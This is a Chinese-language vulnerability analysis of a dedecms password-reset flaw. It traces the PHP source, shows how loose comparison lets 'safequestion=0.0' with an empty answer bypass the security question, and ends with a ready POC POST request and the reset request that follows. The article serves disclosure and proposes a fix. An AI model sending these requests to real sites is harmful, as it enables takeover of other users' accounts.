dedecms修改前台用户密码漏洞分析

前言

漏洞公布时间:2018/01/10

影响版本:V5.7SP2正式版(2018-01-09)之前所有版本

漏洞说明

这个漏洞的前提是需要开启用户注册的功能,造成的危害是能够修改前台部分用户的密码,这部分用户是那些没有设置密保问题的用户。前台管理员密码虽然也没有设置密保问题,但是由于dedecms本身的功能即使修改密码也是无法登录的。

dedecms重置密码的原理是给重置密码的用户发送一个重置密码的链接。那么在进行重置密码时,修改为其他的用户就能够修改其他用户的密码了,所以本质上来说这是一个越权漏洞。

漏洞分析

假设dedecms已经开启了用户注册的功能,用户重置密码的的URL是为http://localhost/member/resetpassword.php。对应于源码的位置是member/resetpassword.php。

safequestion分析

在member/resetpassword.php中存在三个重置密码的方法,分别是getped、safequestion、getpasswd。而本次的漏洞与safequestion有关。

分析safequestion方法代码:

else if($dopost == "safequestion")

{

$mid = preg_replace("#[^0-9]#", "", $id);

$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";

$row = $db->GetOne($sql);

if(empty($safequestion)) $safequestion = '';

if(empty($safeanswer)) $safeanswer = '';

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)

{

sn($mid, $row['userid'], $row['email'], 'N');

exit();

}

else

{

ShowMsg("对不起,您的安全问题或答案回答错误","-1");

exit();

}

}

其中有几个关键的验证,如empty($safequestion)、empty($safeanswer)、if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)。首先我们需要知道,一个没有设置密保问题的用户,默认的safequestion和safeanswer结果。

mysql> SELECT safequestion,safeanswer,userid,email FROM dede_member WHERE mid='1';

+--------------+------------+--------+-------+

safequestion safeanswer userid email

+--------------+------------+--------+-------+

0 admin

+--------------+------------+--------+-------+

1 row in set (0.00 sec)

默认情况下的safequestion为0,safeanswer为空。那么如何通过这个验证呢?如果我们传输的safequestion为0,而empty($safequestion)为True。此时我们需要利用到php的隐式类型转换,即PHP在进行类型比较、类型判断时会自动进行一些类型的转换,如下:

var_dump(empty(0)); // true

var_dump(empty('0')); // true

var_dump(empty('0.0')); // false

var_dump(0.0==0); // true

var_dump('0.0'==0); // true

var_dump(null==''); // true

所以我们设置我们输入的safequestion为0.0,safeanswer为空就可以绕过这个验证,此时empty($safeanswer)为True,$row['safequestion'] == $safequestion也为True,而数据中查询出来的safeanswer本身就为NULL,所以我们设置为空,就可以通过验证。之后程序进入sn($mid, $row['userid'], $row['email'], 'N');中。

所以这个地方重置的仅仅是那些没有设置密保问题的用户,因为只有这些用户他们的safequestion才是空

sn函数分析

跟踪进入到member/inc/inc_pwd_functions.php:sn()中,

function sn($mid,$userid,$mailto, $send = 'Y')

{

global $db;

$tptim= (60*10);

$dtime = time();

$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";

$row = $db->GetOne($sql);

if(!is_array($row))

{

//发送新邮件;

newmail($mid,$userid,$mailto,'INSERT',$send);

}

//10分钟后可以再次发送新验证码;

elseif($dtime - $tptim > $row['mailtime'])

{

newmail($mid,$userid,$mailto,'UPDATE',$send);

}

//重新发送新的验证码确认邮件;

else

{

return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');

}

}

进入到sn()函数之后,会执行SELECT * FROM #@__pwd_tmp WHERE mid = '$mid',此条SQL语句查询的是dede_pwd_tmp,此表存储的就是重置密码的临时KEY。由于此时没有重置密码,所以没有对应此用户的记录。

进入到第一个判断newmail($mid,$userid,$mailto,'INSERT',$send);中

newmail函数分析

追踪进入到member/inc/inc_pwd_functions.php:newmail()中

function newmail($mid, $userid, $mailto, $type, $send)

{

global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;

$mailtime = time();

$randval = random(8);

$mailtitle = $cfg_webname.":密码修改";

$mailto = $mailto;

$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";

$mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;

if($type == 'INSERT')

{

$key = md5($randval);

$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";

if($db->ExecuteNoneQuery($sql))

{

if($send == 'Y')

{

sendmail($mailto,$mailtitle,$mailbody,$headers);

return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');

} else if ($send == 'N')

{

return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);

}

}

else

{

return ShowMsg('对不起修改失败,请联系管理员', 'login.php');

}

}

进入到$type == 'INSERT'中,生成一个临时KEY,$key = md5($randval);,然后插入到数据库中,$sql = "INSERT INTO #@__pwd_tmp (mid ,membername ,pwd ,mailtime)VALUES ('$mid', '$userid', '$key', '$mailtime');";。

接下来根据参数$send的值判断是将重置密码的链接通过邮箱发送还是直接跳转。这个参数最开始是在$dopost == "safequestion"中设置的,默认值是N,那么就会将对应id的密码返回。

拿到重置链接直接在浏览器中访问就可以修改此id对应用户的密码了。

重置密码

重置密码发送的请求如下:

URL:http://localhost/member/resetpassword.php

POST:dopost=getpasswd&setp=2&id=3&userid=test02&key=K5TrsKQB&pwd=123456&pwdok=123456

其中的pwd和pwdok是我设置的重置密码。

此重置密码的请求就会进入到member/resetpassword.php的$dopost == "getpasswd"中

else if($dopost == "getpasswd")

{

//修改密码

if(empty($id))

{

ShowMsg("对不起,请不要非法提交","login.php");

exit();

}

$mid = preg_replace("#[^0-9]#", "", $id);

$row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");

if(empty($row))

{

ShowMsg("对不起,请不要非法提交","login.php");

exit();

}

if(empty($setp))

{

$tptim= (60*60*24*3);

$dtime = time();

if($dtime - $tptim > $row['mailtime'])

{

$db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");

ShowMsg("对不起,临时密码修改期限已过期","login.php");

exit();

}

require_once(dirname(__FILE__)."/templets/resetpassword2.htm");

}

elseif($setp == 2)

{

if(isset($key)) $pwdtmp = $key;

$sn = md5(trim($pwdtmp));

if($row['pwd'] == $sn)

{

if($pwd != "")

{

if($pwd == $pwdok)

{

$pwdok = md5($pwdok);

$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";

$db->executenonequery($sql);

$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";

if($db->executenonequery($sql))

{

showmsg('更改密码成功,请牢记新密码', 'login.php');

exit;

}

}

}

showmsg('对不起,新密码为空或填写不一致', '-1');

exit;

}

showmsg('对不起,临时密码错误', '-1');

exit;

}

}

进入之后,会进行$db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'")查选,因为在重置密码时已经在dede_pwd_tmp表中保存了记录,所以此时存在数据。

之后根据step的值为2,进入到更改密码的操作中。更改密码之后会进行$sn = md5(trim($pwdtmp));if($row['pwd'] == $sn操作,与数据库的中密码进行校验,校验成功之后,就会执行一下的两条SQL语句:

"DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';" # 删除临时密码表中的数据

"UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';"; # 更新dede_memeber中的密码

至此就完整了整个任意用户密码的重置过程。

POC

这个漏洞的POC也比较的简单,通过safequestion方法重置密码即可。

URL:member/resetpassword.php

POST:dopost=safequestion&safequestion=0.0&safeanswer=&id=用户ID

总结

这个漏洞其实并没有使用什么特殊技巧,仅仅是由于程序在校验的时候不严格。所以这个漏洞也很好修复,将$row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer中的==变为===。

除此之外,我在调试这个漏洞时发现这个safequestion并没有对应到前台的某个操作,所以感觉这个方法一直没有被使用,而这个漏洞刚好利用了这个方法,所以如果不用这个方法的是完全可以删除的,最后就看官方如何修复吧。

本文由看雪SRC小组reklawetihwx原创,系看雪web小组征稿系列文章

转载请注明来自看雪社区

热门阅读

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180114G08G5900?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券